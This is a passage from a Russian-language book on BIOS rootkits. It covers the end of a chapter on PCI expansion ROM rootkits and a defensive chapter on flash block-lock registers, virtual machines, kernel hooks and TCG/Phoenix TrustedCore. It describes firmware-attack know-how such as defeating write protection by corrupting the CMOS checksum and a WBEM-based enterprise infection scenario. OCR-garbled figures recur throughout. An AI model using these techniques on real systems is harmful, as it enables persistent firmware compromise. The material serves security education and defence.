Последним аспектом руткита для BIOS плат расширения PCI, который нужно осветить, является особенность BIOS расширения сетевых плат PCI. Мои эксперименты показали, что BIOS расширения сетевых плат PCI исполняется, только если в BIOS Setup материнской платы установлена опция удаленной загрузки по сети. Если эта опция не установлена, не исполняется даже функция init BIOS расширения PCI. Я прочел всю связанную с этим аспектом документацию, включая спецификацию PCI версии 3.0, а также различные спецификации загрузочных BIOS, и убедился, что такое поведение соответствует всем этим спецификациям. И хотя ни в одной из прочитанных мною спецификаций эта особенность не упоминалась прямо, я предполагаю, что это стандартное поведение необходимо принимать во внимание при внедрении своего кода в двоичный файл BIOS расширения PCI сетевой платы. Вы должны иметь в виду, что на целевой системе не обязательно будет установлена опция загрузки по сети, и ваш код может никогда не исполниться.
Глава 13
Методы защиты BIOS
Введение
В предшествующих главах аспекты безопасности BIOS рассматривались в основном с точки зрения злоумышленника. В данной главе эти вопросы рассматриваются с противоположной позиции, т. е. с точки зрения владельца системы, защищающего ее от злоумышленников. Основное внимание уделяется таким вопросам, как предотвращение атак на BIOS и минимизация отрицательных последствий таких атак.
Методы предотвращения атак на BIOS
В этом разделе мы рассмотрим, каким образом можно предотвратить установку руткита BIOS в систему. Как было показано в двух предыдущих главах, руткит BIOS может быть установлен как в BIOS материнской платы, так и в BIOS платы расширения PCI. Начнем с рассмотрения защиты против руткита BIOS материнской платы.
Аппаратные меры безопасности
Как уже говорилось в разд. 11.4, чип BIOS материнской платы оснащен аппаратной защитой, предназначенной для предотвращения изменения его содержимого злоумышленником.
Эта защита состоит в том, что с помощью регистров BLR (block locking registers — регистры "запирания" блока) чипа BIOS можно запретить доступ
к этому чипу. После того как BIOS инициализирует эти регистры, их значения нельзя изменить. Это означает, что статус аппаратной защиты можно изменить, лишь изменив установки BIOS. Таким образом, злоумышленник должен иметь физический доступ к системе, чтобы отключить эту защиту. Тем не менее, в данном защитном механизме имеется изъян. Если в установках BIOS по умолчанию эта защита отключена, существует вероятность того, что злоумышленник может удаленно войти в операционную систему и нарушить целостность значений в чипе CMOS, после чего перезапустить машину. Эта последовательность действий приведет к отключению аппаратной защиты. Это произойдет потому, что если контрольная сумма CMOS нарушена, большинство компьютеров принудительно загружают значения BIOS по умолчанию.
Понимание принципов воплощения этого аппаратного механизма защиты крайне важно. Поэтому перед тем, как приступить к детальному рассмотрению этой темы, необходимо провести сравнительный анализ чипов флэш- BIOS для материнских плат. С аппаратной защитой чипа флэш-Winbond W39V040FA мы познакомились в главе 11. В данном разделе будет рассмотрен чип флэш- SST49LF004B, поставляемый компанией Silicon Storage Technology (SST). Это чип BIOS емкостью в 4 мегабита (512 килобайт), с поддержкой технологии FWH. Чип совместим с протоколом LPC и соединяется с другими чипами материнской платы посредством шины LPC.
Основные принципы работы чипов на основе FWH технологии изложены в разд. 11.4. Спецификацию технических характеристик чипа флэш-ROM SST49LF004B можно скачать по адресу http://www.sst.com/products.xhtml/ serial_flash/49/SST49LF004B.
Перейдем к рассмотрению внутреннего устройства чипа. В первую очередь следует отметить, что адреса памяти чипа флэш-88Т49ЬР004В, показанные на рис. 13.1, приведены по отношению к адресному пространству чипа, а не по отношению к общесистемному адресному пространству систем архитектуры х86.
Как показано на этой иллюстрации, чип SST49LF004B состоит из восьми блоков, каждый из которых имеет размер в 64 Кбайт. Таким образом, общий объем памяти чипа составляет 512 Кбайт. Каждый блок имеет собственный регистр BLR, управляющий операциями чтения и записи этого бло-
ка. Основная информация о регистрах BLR была приведена в разд. 11.4. Поэтому приступим сразу же к рассмотрению схемы распределения памяти регистров BLR, взятой из технической спецификации чипа флэш-ROM SST49LF004B (табл. 13.1).
Доступом к блоку 7 управляетвывод TBL (сигнал TBL#) |
7FFFFh: Блок 7 -^•
70000h: _6FFFFhi - -
Блокб <\:
I— боооом: ^-SFFFFh' Блок 5'
50000b
Л 4FFFFhr Блок 4 -^1
<... 40000b i r3FFFFh^ Блок 3 k’
L. 30000b i
Блок начальной загрузки
Доступом к блокам 0-6 управляетвывод WP" (сигнал WP#)
^-2РРРРЬГ Блок 2•
k_ 20000b i 1FFFFK Блок 1 <:
10000b: z—OFFFFh'
2000b:
Сектор 2 (4 Кбайт)
1000h:
Сектор 1 (4 Кбайт)
0000bi
Сектор 0 (4 Кбайт)
Блок 0 v (64 Кбайт/
TBL* - Top Block Lock (запирание верхнего блока) WP** - Write Protect (защита от записи)
Рис. 13.1. Схема памяти чипа флэш-ROM SST49LF004B
табл. 13.1. Схема памяти чипа флэш-ROM SST49LF004B
Регистры (BLR)
Размер блока
Диапазон защищаемых адресов (в чипе)
Адрес в 4-гигабайтном системном адресном пространстве
T_BLOCK_LK
64 Кбайт
7FFFFh-70000h
FFBF0002h
T_MINUS01_LK
64 Кбайт
6FFFFh-60000h
FFBE0002h_
T_MINUS02_LK
64 Кбайт
5FFFFh-50000h
FFBD0002h_
табл. 13.1 (окончание)
Регистры (BLR)
Размер блока
Диапазон защищаемых адресов (в чипе)
Адрес в 4-гигабайтном системном адресном пространстве
T_MINUS03_LK
64 Кбайт
4FFFFh-40000h
FFBC0002h
T_MINUS04_LK
64 Кбайт
3FFFFh-30000h
FFBB0002h
T_MINUS05_LK
64 Кбайт
2FFFFh-20000h
FFBA0002h
T_MINUS06_LK
64 Кбайт
IFFFFh-lOOOOh
FFB90002h
T_MINUS07_LK
64 Кбайт
OFFFFh-OOOOOh
FFB80002h
В столбце Диапазон защищаемых адресов в табл. 13.1 показаны физические адреса регистров BLR относительно начала чипа, а не в общесистемном адресном пространстве. При сравнении содержимого табл. 13.1 и 11.1 из главы 11, сразу же становится очевидным, что эти две таблицы почти одинаковы. Единственное различие состоит в названиях управляющих регистров. В табл. 11.1 они называются регистрами BLRn (где п — число из диапазона 0—7), в то время как в табл. 13.1 употребляются названия t_block_lk (для самого верхнего блока) и t_minusox_lk3 (для последующих блоков). Употребляемое название зависит от поставщика чипа. Тем не менее, в обоих случаях имеются в виду именно регистры "запирания" блока, которые в дальнейшем, для простоты, будем называть регистрами BLR. Как и в чипе флэш- ROM Winbond W39V040FA, в чипе флэш-ROM SST49LF004B используются восьмиразрядные регистры BLR. Функции битов этих регистров показаны в табл. 13.2.
табл. 73.2. Функции битов регистров BLR чипа флэш-ROM SST49LF004B
Биты 7:2 — зарезервированы
Бит 1 — блокировка битов управления
Бит 0 — блокировка записи
Статус блокировки
000000
0
0
Полный доступ
000000
0
1
Чип заперт для записи (значение по умолчанию при подаче питания)
000000
1
0
Запись разрешена, и это состояние не может быть изменено
000000
1
1
Чип защищен от записи, и это состояние не может быть изменено
3 Здесь X — число из диапазона от 1 до 7.
Из табл. 13.2 видим, что пять самых старших битов каждого регистра BLR зарезервированы и не подлежат модификации. Механизм запирания чипа управляется двумя самыми младшими битами регистров BLR. Кроме того как показано на рис. 13.1, доступ к содержимому чипа управляется сигналами на выводах tbl# (top block lock — запирание верхнего блока) и wp# (write protect — защита от записи). Эти сигналы превалируют над содержимым регистров BLR, так как общий механизм защиты чипа определяется их логическим состоянием. Принцип работы битов регистров BLR и сигналов tbl# и wp# объясняется в спецификации технических характеристик чипа SST49LF004B. Вашему вниманию предлагается соответствующий фрагмент из этой спецификации.
Фрагмент спецификации технических характеристик ЧИПА SST49LF004B
Защита от записи. Бит блокировки записи (бит 0) управляет возможностью доступа к чипу с правом записи. После подачи питания, по умолчанию, запись во все блоки запрещена. Установленный бит 0 регистра BLR предотвращает выполнение операций записи и стирания соответствующего блока, а сброс этого бита снимает защиту блока. Сброс бита блокировки записи необходимо выполнить до начала выполнения Операции записи или стирания чипа, так как при начале этих операций проверяется состояние этого бита.
Для блока 7, являющегося блоком начальной загрузки, бит блокировки записи функционирует совместно с аппаратным сигналом блокировки записи tbl#. Низкий уровень сигнала tbl# имеет приоритет перед программным механизмом блокировки чипа. Состояние регистра BLR блока начальной загрузки не отражает состояния сигнала tbl#.
Для остальных блоков (блоки 0 по 6), бит блокировки записи функционирует совместно с аппаратным сигналом блокировки записи wp#. Низкий уровень сигнала wp# превалирует над программным механизмом блокировки чипа. Установки регистров BLR не отражают состояния сигнала wp#.
Блокировка битов управления. Бит запирания блока (бит 1) управляет доступом к соответствующему регистру BLR. По умолчанию, при подаче питания манипуляция управляющими битами всех регистров BLR разрешена. Однако, как только бит запирания блока устанавливается, любые попытки модифицировать соответствующий регистр BLR игнорируются. Бит блокировки управляющих битов можно сбросить только сигналами rst# или init# при сбросе устройства или путем выключения и последующего включения питания. Текущее состояние блокировки определенного блока можно определить, выполнив считывание соответствующего бита блокировки управляющих битов.
После установки бита блокировки управляющих битов блока, внесение последующих модификаций битов управления записью соответствующего блока невозможно, и статус доступа для записи блока зафиксирован в текущем состоянии.
Разработчик материнской платы может использовать сигналы tbl# и wp#* чтобы реализовать специальный механизм защиты BIOS. Для этого соответ-
ствующие выводы чипа подключаются к другому программируемому чипу. Однако этот подход понизит совместимость такой материнской платы с чипами флэш-ROM других поставщиков. Проблем с совместимостью не возникает, если чип флэш-ROM BIOS впаян в материнскую плату, так как тогда он практически никогда не будет меняться.
Только что изложенный механизм защиты BIOS и аппаратная защита, представленная в разд. 11.4, похожи друг на друга, так как оба чипа флэш-ROM следуют стандартной спецификации на интерфейс FWH. Этот стандарт был разработан компанией Intel и впервые воплощен в чипе Intel 82802АВ в 2000 г. Многие поставщики BIOS и чипсетов приняли этот стандарт вскоре после его первого применения. Регистры BLR были описаны в разд. 11.4, а в данном разделе была представлена и часть спецификации FWH. С исходной спецификацией FWH можно ознакомиться в спецификации технических характеристик на чип Intel 82803АВ, которую можно скачать по адресу http://www.intel.com/design/chipsets/datashts/290658.htm?iid=ipp_810chpst+ info_ds_fwh&. Ознакомившись со спецификацией технических характеристик чипа Intel 82802АВ, вы также получите начальные знания и о реализациях других чипов флэш-ROM, основанных на стандарте FWH.
Таким образом, для надежного функционирования механизма аппаратной защиты от удаленных атак на BIOS материнской платы необходимо, чтобы в коде BIOS были реализованы такие значения по умолчанию установок BIOS, которые не позволяли бы выполнять операции записи в чип BIOS после загрузки операционной системы. Иными словами, необходимо предотвратить возможность записи в чип BIOS из операционной системы. Предпочтительным решением будет полный запрет кодом BIOS доступа к чипу BIOS. В этом случае злоумышленник не будет иметь возможности не только записывать в чип BIOS, но также и считывать его содержимое, работая под управлением какой бы то ни было операционной системы. Этот прием защитит систему от удаленных атак, которые выводят из строя аппаратную защиту чипа BIOS путем нарушения контрольной суммы CMOS и перезапуска системы. Если в коде BIOS не реализован такой механизм защиты, систему все равно можно защитить против удаленной атаки, направленной на внедрение руткита в BIOS, или, по крайней мере, усложнить проведение такой атаки. Это можно осуществить с помощью драйвера устройства, который при загрузке операционной системы инициализирует биты блокировки регистров SLR значениями, запрещающими запись в чип BIOS. В данном случае, чтобы получить возможность инфицировать BIOS, злоумышленник будет вынужден сначала обнаружить и нейтрализовать этот драйвер. Такая задача трудна уже сама по себе. Если же разработчик такого драйвера еще и приложил усилия
680 Часть IV. Внесение изменений в код BIQr к тому, чтобы замаскировать его присутствие в системе, задача будет осложнена дополнительно.
Как уже говорилось в главе 11, некоторые реализации BIOS обладают дефектом, при котором при загрузке операционной системы BIOS не запрещает запись в чип BIOS. Метода модификации BIOS, направленного на устранение этого дефекта, я не предлагаю, поскольку эта задача будет слишком сложной. В особенности это относится к реализациям BIOS, для работы с которыми не существует общедоступных инструментов. Кроме того, внесение модификаций такого рода в современные BIOS очень рискованно.
Защита с помощью виртуальной машины
Одним из вариантов защиты от внедрения руткита BIOS является использование виртуальной машины. При атаке на операционную систему, запущенную в этой виртуальной машине, злоумышленники могут получить доступ к BIOS виртуальной системы. Однако поскольку BIOS виртуальной машины — это совсем не то же самое, что и BIOS материнской платы, физически установленной на компьютере, вреда основной системе они причинить не смогут. Стоит отметить, правда, что этот метод теряет эффективность, если злоумышленники осознают, что они имеют дело не с физической, а с виртуальной машиной. В таком случае они будут пытаться обрести полный контроль над физической системой, чтобы получить доступ к чипу BIOS физической материнской платы. К вашему сведению, в некоторых виртуальных машинах для BIOS используется модифицированная версия AMI BIOS.
Существует и еще один аспект, который я пока еще не исследовал — это эмуляция аппаратных средств виртуальной машины и их представление. Поэтому на данный момент я не могу сказать, каким образом злоумышленник будет видеть виртуальное аппаратное обеспечение, когда он получит полный удаленный контроль над виртуальной машиной.
Безопасность WBEM и руткит BIOS
В данном подразделе вопрос реализации мер безопасности WBEM не рассматривается, так как точка входа атаки WBEM находится на прикладном уровне, а не в коде BIOS. Тем не менее, я хочу объяснить серьезность угрозы, представляемой нарушением безопасности инфраструктуры WBEM с целью
внедрения руткита BIOS. Это важный вопрос, так как лишь немногие системные администраторы осознают, что нарушение безопасности инфраструктуры WBEM может существенно облегчить злоумышленникам задачу проведения программно-аппаратной атаки на системы, входящие в инфраструктуру WBEM.
Получив первоначальный доступ к общей инфраструктуре WBEM, злоумышленники, скорее всего, установят низкоуровневый руткит, который обеспечит им дальнейший доступ к скомпрометированным системам. Рассмотрим возможный сценарий инфицирования общей инфраструктуры предприятия или организации руткитом BIOS с помощью WBEM.
В главе 10 была рассмотрена WMI как одна из реализаций WBEM. На практике WMI применяется для определения конфигурации клиентских компьютеров, подключенных к локальному серверу обновлений Windows (Windows update server). Этот сервер предоставляет последние заплаты и обновления для Microsoft Windows компьютерам, входящим в состав внутренней сети организации. Перед отправкой заплат или обновлений клиентскому компьютеру, локальный сервер обновлений Windows определяет его конфигурацию. Эта операция выполняется посредством интерфейса WMI. Чтобы ускорить выполнение будущих обновлений, конфигурационные данные клиента хранятся на локальном сервере обновлений Windows. Это позволяет экономить время, не расходуя его на повторное определение конфигурационных данных клиента через интерфейс WMI. Так как конфигурационные данные клиента хранятся в кэше локального сервера обновлений Windows, злоумышленник, взломавший сервер, получит доступ к конфигурационным данным компьютеров, которые пользовались сервисами, предоставляемыми данным сервером. Помимо прочих конфигурационных данных, сохраняемых на сервере, доступны тип материнской платы и версия BIOS клиентского компьютера (см. рис. 10.6 в главе 6). Доступность этой информации упростит злоумышленникам задачу инфицирования руткитом BIOS всех компьютеров, принадлежащих к сети организации. Схема осуществления этого сценария показана на рис. 13.2.
Обратите внимание, что в сценарии атаки, показанном на рис. 13.2, локальный сервер обновлений Windows не обозначен как второй шаг атаки. Тем не менее, при желании злоумышленников, руткит BIOS может быть внедрен и на него. Рассмотрим более подробное описание процедуры реализации атаки.
Злоумышленник проникает в компьютерную сеть организации и взламывает локальный сервер обновлений Windows.
На основе подробных данных о клиенте, полученных с сервера обновлений, злоумышленник ищет необходимую информацию о следующей цели атаки,
т. е. о компьютере, который можно инфицировать руткитом BIOS. При этом если злоумышленник уже хорошо изучил внутреннюю структуру сети предприятия или организации, то он может и не искать эту информацию. Затем злоумышленник создает руткит BIOS, направленный против конкретной системы, выбранной в качестве цели атаки. Эта задача упрощается тем обстоятельством, что во многих организациях рабочие станции и настольные компьютеры сконфигурированы одинаково или, по крайней мере, их конфигурации имеют много общего.
На практике, лишь немногие организации реализуют локальный сервер обновлений Windows. Тем не менее, возможность атаки по такому сценарию нельзя игнорировать, так как она может нанести серьезный ущерб организации, использующей локальный сервер обновлений Windows.
Локальный сервер обновлений WindowsЛокальный сервер обновлений WindowsШаг1Взлом локального сервера обновлений WindowsШаг1Взлом локального сервера обновлений WindowsКоммутатор 7/Коммутатор 7/• * ]Маршрутизатор• * ]Маршрутизатор.Коммутатору.Коммутатору\ Сервер приложений\ Сервер приложенийРабочая \ станция 'Рабочая \ станция '\ Сервер HTTP\ Сервер HTTPРабочая ' станция /Рабочая ' станция /Шаг 2На основании данных, полученных с локального , сервера обновлений Windows, разрабатывается специализированный / руткит BIOS, который затем устанавливается на целевых компьютерахШаг 2На основании данных, полученных с локального , сервера обновлений Windows, разрабатывается специализированный / руткит BIOS, который затем устанавливается на целевых компьютерахНастольный компьютер Настольный компьютерНастольный компьютер Настольный компьютерНастольный компьютер кд*Настольный компьютер кд*
Локальный сервер обновлений Windows
Локальный сервер обновлений Windows
Шаг1
Взлом локального сервера обновлений Windows
Шаг1
Взлом локального сервера обновлений Windows
Коммутатор 7/
Коммутатор 7/
• * ]Маршрутизатор
• * ]Маршрутизатор
.Коммутатору
.Коммутатору
\ Сервер приложений
\ Сервер приложений
Рабочая \ станция '
Рабочая \ станция '
\ Сервер HTTP
\ Сервер HTTP
Рабочая ' станция /
Рабочая ' станция /
Шаг 2
На основании данных, полученных с локального , сервера обновлений Windows, разрабатывается специализированный / руткит BIOS, который затем устанавливается на целевых компьютерах
Шаг 2
На основании данных, полученных с локального , сервера обновлений Windows, разрабатывается специализированный / руткит BIOS, который затем устанавливается на целевых компьютерах
Настольный компьютер Настольный компьютер
Настольный компьютер Настольный компьютер
Настольный компьютер кд*
Настольный компьютер кд*
Рис. 13.2. Сценарий атаки с помощью WBEM
Защита от руткита BIOS плат расширения PCI
По сравнению с руткитом для BIOS материнской платы, защититься от руткита для BIOS платы расширения PCI сложнее, так как чипы BIOS, применяемые для плат расширения PCI, не реализуют аппаратных мер безопасности. Размер чипов BIOS плат расширения PCI колеблется от 32 Кбайт до 128 Кбайт, и большинство чипов флэш-ROM, принадлежащих к этой категории, не имеют аппаратной защиты от записи. Большинство чипов BIOS плат расширения PCI не имеют функции, аналогичной регистрам BLR в чипах флэш-ROM для BIOS материнских плат. Поэтому любая попытка доступа к чипу BIOS платы расширения PCI, интерпретируемая как допустимая транзакция, на аппаратном уровне разрешается сразу же.
Отсутствие аппаратных мер безопасности в чипе BIOS платы расширения PCI не означает, что этот чип никак нельзя защитить от угроз безопасности. Существуют, по крайней мере, теоретические методы защиты, которые можно попытаться применить. Хотя эти методы не были испытаны, а большинство из них применимы только на платформах Windows, им стоит уделить внимание. Рассмотрим эти методы более подробно:
Чипсеты некоторых плат расширения PCI отображают чип BIOS платы расширения в адресное пространство памяти. В Windows доступ к этому адресному пространству памяти можно получить с помощью функции ядра MuGetsystemAddressForMdlsafe и других функций управления памятью. Перехватывая эту функцию в ядре, можно отфильтровать нежелательные обращения к определенному диапазону адресов системной памяти. Применяя такой фильтр к области, на которую отображено содержимое чипа ROM BIOS платы расширения, можно предотвратить несанкционированный доступ к содержимому BIOS платы расширения PCI. Этот же принцип можно применить и в UNIX-подобных операционных системах, например, в Linux. Разумеется, функции ядра для работы с памятью будут иными, нежели в Windows. В любом случае, перехват функции ядра для работы с памятью реализуется в виде драйвера устройства режима ядра, который отслеживает попытки несанкционированного доступа к предопределенным диапазонам адресов памяти. В данном контексте, под предопределенными диапазонами адресов подразумеваются диапазоны адресов, которые BIOS материнской платы зарезервировала для BIOS плат расширения PCI во время инициализации общесистемного адресного пространства.
Чипсеты некоторых плат расширения PCI отображают чип BIOS платы расширения в адресное пространство ввода-вывода. Это обстоятельство было упомянуто при рассмотрении сетевой платы на чипе RTL8139 в главе 9. Доступ к адресному пространству ввода-вывода BIOS расширения производится с помощью транзакций шины PCI. Если злоумышленник обращается к аппаратной части непосредственно, т. е. выполняет операцию записи в порт данных PCI, адресуя этот порт напрямую, такие транзакции предотвратить невозможно. Транзакции шины PCI, выполняемые с помощью функции ядра, можно отфильтровать подобно предыдущему способу.
Оба только что описанных метода защиты окажутся действенны лишь при отсутствии у злоумышленника физического доступа к защищаемой машине. Если же злоумышленник получит такую возможность, он может установить руткит, загрузив компьютер под незащищенной операционной системой (например, DOS) и прошив инфицированный двоичный код BIOS в чип флэш BIOS платы расширения PCI.
На основании изложенных методов предотвращения инфицирования плат расширения PCI руткитом BIOS можно сделать вывод о том, что BIOS плат расширения PCI — это слабое звено в защите против атак на уровне программно-аппаратного обеспечения.
В будущем, когда чипы флэш-ROM для плат расширения PCI будут оснащены защитой, подобной регистрам BLR в чипах флэш-ROM для материнских плат, задача реализации их аппаратной защиты поставщиками оборудования и сторонними компаниями будет значительно облегчена.
Прочие методы защиты BIOS
Кроме методов, изложенных в предыдущих подразделах, существуют и другие способы защиты BIOS. В данном подразделе будет рассмотрен один из них — Phoenix TrustedCore BIOS (BIOS Phoenix на базе технологии TrustedCore). Этот тип BIOS был выпущен на рынок относительно недавно. Рассмотрение этой реализации BIOS важно, так как это позволит получить представление о методах защиты BIOS против вредоносного кода, появление которых ожидается в недалеком будущем.
Уже в ближайшие годы ожидается появление реализаций BIOS, защищенных более надежно, чем большинство современных BIOS. Этому способствует принятие общеотраслевых стандартов группы TCG (Trusted Computing Group • группа доверительных вычислений). К таким стандартам относятся стандарты TPM (Trusted Platform Module — модуль доверяемой платформы) и TSS (TPM Software Stack — стек программного обеспечения ТРМ). Phoenix TrustedCore BIOS поддерживает стандарты TCG.
^ 4. TPM Software Stack (TSS)1 Document^ 4. TPM Software Stack (TSS)1 Document; 3. Trusted Platform Modulei (TPM) Main Specification, Parts ;; 1-4, i.e.::jDesign Philosophies”Document*>TPM Structures Document::TPM Commands Document::Compliance Document; 3. Trusted Platform Modulei (TPM) Main Specification, Parts ;; 1-4, i.e.::jDesign Philosophies”Document*>TPM Structures Document::TPM Commands Document::Compliance Document1. TCG Architecture Overview Document1. TCG Architecture Overview DocumentСтандарты группы TCG довольно трудны для понимания. Поэтому, прежде чем перейти к рассмотрению их реализации в Phoenix BIOS — Phoenix TrustedCore — я проведу краткий обзор этих стандартов. Стандарты группы TCG изложены в нескольких документах. Разобраться в этой документации — задача не из легких. Для облегчения этой задачи, ознакомление с документацией стандартов группы TCG рекомендуется проводить в последовательности, показанной на рис. 13.3.
^ 4. TPM Software Stack (TSS)
1 Document
^ 4. TPM Software Stack (TSS)
1 Document
; 3. Trusted Platform Module
i (TPM) Main Specification, Parts ;
; 1-4, i.e.::
jDesign Philosophies
”Document*
>TPM Structures Document:
:TPM Commands Document:
:Compliance Document
; 3. Trusted Platform Module
i (TPM) Main Specification, Parts ;
; 1-4, i.e.::
jDesign Philosophies
”Document*
>TPM Structures Document:
:TPM Commands Document:
:Compliance Document
1. TCG Architecture Overview Document
1. TCG Architecture Overview Document
Platform-Specific Design
I Guide Document, i.e., PC I
I Platform Specification ' i Document
Рис. 13.3. Последовательность ознакомления co стандартами TCG
Первым документом, с которым необходимо ознакомиться, является спецификация TCG Specification Architecture Overview Document, в которой дан обзор архитектуры TCG. Затем следует прочесть руководство разработчика архитектуры TCG, предназначенное для конкретной аппаратной платформы (на рис. 13.3 этот документ обозначен как Platform-Specific Design Guide Document). В данном контексте таким документом является спецификация PC Platform Specification Document. При чтении документа PC Platform Specification Document необходимо обращаться за справочной информацией к концепциям, изложенным в частях I—4 спецификации Trusted Platform Module (TPM) Main Specification Document, являющейся основным документом на модуль доверяемой платформы и спецификации ТРМ Software Stack Document, Документирующей программный стек модуля ТРМ. На рис. 13.3 такие обращения за консультативной информацией к другим документам обозначены пунктирными стрелками. Документы TCG Specification Architecture Overview и Trusted Platform Module (TPM) Main Specification, части 1—4, можно скачать по адресу https://www.trustedcomputinggroup.org/specs/TPM. Документ ТРМ
Software Stack доступен по адресу https://www.trustedcomputinggroup.org/ specs/TSS, а документ PC Platform Specification — по адресу https://www.trustedcomputinggroup.org/specs/PCCIient.
Спецификация платформы PC состоит из нескольких файлов. Вам нужны файлы TCG PC Client-Specific Implementation Specification for Conventional BIOS и PC Client TPM Interface Specification FAQ, в которых приведена специфичная для клиента информация о модуле TCG и часто задаваемые вопросы о спецификации интерфейса ТРМ клиентского компьютера. Прочитав эти документы, вы получите представление о концепциях доверительных вычислений и узнаете детали реализации таких вычислений в архитектуре PC.
Прежде чем продолжить тему, необходимо дать ряд дополнительных пояснений, касающихся доверительных вычислений (trusted computing), которые охватываются стандартами TCG. Документ TCG Specification Architecture Overview определяет термин доверие (trust) как "ожидание, что при выполнении конкретной задачи устройство будет вести себя определенным образом". К расширенным возможностям доверяемых платформ относятся, в частности, защищенность (protected capabilities), оценка целостности (integrity measurement) и предоставление отчета о целостности (integrity reporting). Особое внимание уделяется оценке целостности, так как эта возможность имеет прямое отношение к BIOS. Согласно документу TCG Specification Architecture Overview, оценка целостности представляет собой "процесс получения метрик характеристик платформы, которые оказывают влияние на целостность (доверяемость) платформы, сохранение этих метрик и помещение краткой сводки этих метрик в регистры PCR (platform configuration registers — регистры конфигурирования платформы)". Я не буду вдаваться в подробности ни этого определения, ни функций регистров PCR. Тем не менее, важно отметить, что в стандартах TCG для архитектуры PC, термин CRTM (core root of trust for measurement — главный корень доверительных отношений для операций оценки) является синонимом термина блок начальной загрузки BIOS. На этом краткий обзор стандартов TCG и их практической реализации можно считать завершенным. Логическое расположение корня CRTM в системе показано на рис. 13.4.
Рассмотрим представленную схему более подробно. Как показано на рис. 13.4, корнем CRTM является блок начальной загрузки BIOS. Здесь же показано, что вектор сброса центрального процессора указывает на ячейку в корне CRTM.
Теперь перейдем к рассмотрению Phoenix TrustedCore BIOS. Документацию для этой BIOS можно скачать по следующим адресам:
Спецификация технических характеристик Phoenix TrustedCore SP3b находится по адресу http://www.phoenix.com/NR/rdonlyres/C672D334-DD93- 4926-AC40-EF708B75CD13/0/TrustedCore_SP3b_ds.pdf.
Система
Платформа хоста
ВстроенныеустройстваВстроенныеустройстваМатеринская платаДоверенный модуль (ТВВ)Материнская платаДоверенный модуль (ТВВ)корень доверительногокорень доверительногоПодключениек шинамрасширенияПодключениек шинамрасширенияКорень CRTM отношения для отчетов/Корень CRTM отношения для отчетов/Вектор i | сброса iВектор i | сброса iкорень доверительногокорень доверительноготтотношения для операций j г [ с <бдин к одному> i [запоминающими41 [ [отношения для операций j г [ с <бдин к одному> i [запоминающими41 [ [[устройствами[устройствами[Пользовательский:ВЫВОД[Пользовательский:ВЫВОД<<один к одному<<один к одному! Центральный| процессор! Центральный| процессорВстроенный микрокод •Встроенный микрокод •ПользовательскийвводПользовательскийвводПамятьПамятьКод начальнойзагрузкиПрочеемикропрограммноеобеспечениеКод начальнойзагрузкиПрочеемикропрограммноеобеспечение
Встроенныеустройства
Встроенныеустройства
Материнская плата
Доверенный модуль (ТВВ)
Материнская плата
Доверенный модуль (ТВВ)
корень доверительного
корень доверительного
Подключениек шинамрасширения
Подключениек шинамрасширения
Корень CRTM отношения для отчетов/
Корень CRTM отношения для отчетов/
Вектор i | сброса i
Вектор i | сброса i
корень доверительного
корень доверительного
т
т
отношения для операций j г [ с <бдин к одному> i [запоминающими41 [ [
отношения для операций j г [ с <бдин к одному> i [запоминающими41 [ [
[устройствами
[устройствами
[Пользовательский
:ВЫВОД
[Пользовательский
:ВЫВОД
<<один к одному
<<один к одному
! Центральный
| процессор
! Центральный
| процессор
Встроенный микрокод •
Встроенный микрокод •
Пользовательскийввод
Пользовательскийввод
Память
Память
Код начальнойзагрузки
Прочеемикропрограммноеобеспечение
Код начальнойзагрузки
Прочеемикропрограммноеобеспечение
КорпусКорпусI Периферийные [ i устройства ]I Периферийные [ i устройства ]| Источник питанияI Постоянные носители| Источник питанияI Постоянные носителиОпционные : адаптеры ;Опционные : адаптеры ;Съемные носителиСъемные носители
Корпус
Корпус
I Периферийные [ i устройства ]
I Периферийные [ i устройства ]
| Источник питания
I Постоянные носители
| Источник питания
I Постоянные носители
Опционные : адаптеры ;
Опционные : адаптеры ;
Съемные носители
Съемные носители
Код начальнойзагрузкиПРРГРамм. (IPL).Код начальнойзагрузкиПРРГРамм. (IPL).[Операционная i система[Операционная i системаДрайверыДрайверыСервисыСервисыПриложенияПриложения
Код начальнойзагрузки
ПРРГРамм. (IPL).
Код начальнойзагрузки
ПРРГРамм. (IPL).
[Операционная i система
[Операционная i система
Драйверы
Драйверы
Сервисы
Сервисы
Приложения
Приложения
Рис. 13.4. Общесистемная архитектура PC с позиции стандартов TCG
Подробная техническая статья, описывающая технологию Phoenix TrustedCore, находится по адресу https://forms.phoenix.com/whitepaperdownload/ trustedcore_wp.aspx. Чтобы бесплатно скачать эту статью, необходимо зарегистрироваться на сервере, заполнив краткую анкету.
Подробное описание Phoenix TrustedCore Notebook находится по адресу http://www.phoenix.com/NR/rdonIyres/7E40E21F-15C2-4120-BB2B- 01231EB2A2E6/0/trustedcore_NB_ds.pdf. Хотя эта статья была выпущена довольно давно, ее все же стоит прочесть.
Phoenix TrustedCore BIOS соответствует следующим двум требованиям к области начальной загрузки BIOS, налагаемым стандартами TCG:
Код или данные в блоке начальной загрузки модифицируются или обновляются агентом или методом, одобренным изготовителем хост-платформы.
Обновление, модификация и техническое обслуживание блока начальной загрузки (boot block) BIOS выполняется производителем. Операции по обновлению, модификации и техническому обслуживанию компонента POST BIOS могут выполняться или производителем, или же сторонним поставщиком.
В данном случае блок начальной загрузки играет роль корня CRTM. Это означает, что он используется для оценки целостности других модулей программно-аппаратных средств PC. Но вернемся к теме безопасности. Какие возможности предоставляет Phoenix TrustedCore BIOS в этом отношении? Упрощенно говоря, этот подход к реализации BIOS предоставляет два уровня защиты от несанкционированного изменения блока начальной загрузки BIOS, а именно:
□ Внесение любых модификаций в код BIOS может быть выполнено лишь при соблюдении строгих требований аутентификации. Система не позволит выполнять операции записи в корень CRTM утилите прошивки BIOS, не одобренной поставщиком. Это достигается путем активизации аппаратной блокировки операций записи в блок начальной загрузки. Исключением из этого правила может быть лишь обновление блока начальной загрузки, выполняемое с помощью утилиты прошивки, одобренной поставщиком.
Любая модификация кода BIOS должна выполняться с соблюдением строгих требований верификации. Верификация программно-аппаратных средств выполняется с помощью методов сильной криптографии, например, таких как алгоритм RSA.
Подробная информация о реализации обоих уровней защиты описаны в технической статье компании Phoenix, посвященной TrustedCore BIOS. Приведем выдержку из этой статьи, минимально необходимую для понимания дальнейших материалов данной главы.
Выдержка из технической статьи
о Phoenix TrustedCore BIOS
Высокоуровневая реализация безопасного корня CRTM и BIOS должна отвечать следующим требованиям:
Аппаратная и программная части:
Применяются чипы флэш-ROM с поддержкой блокировки установок битов запрещения записи.
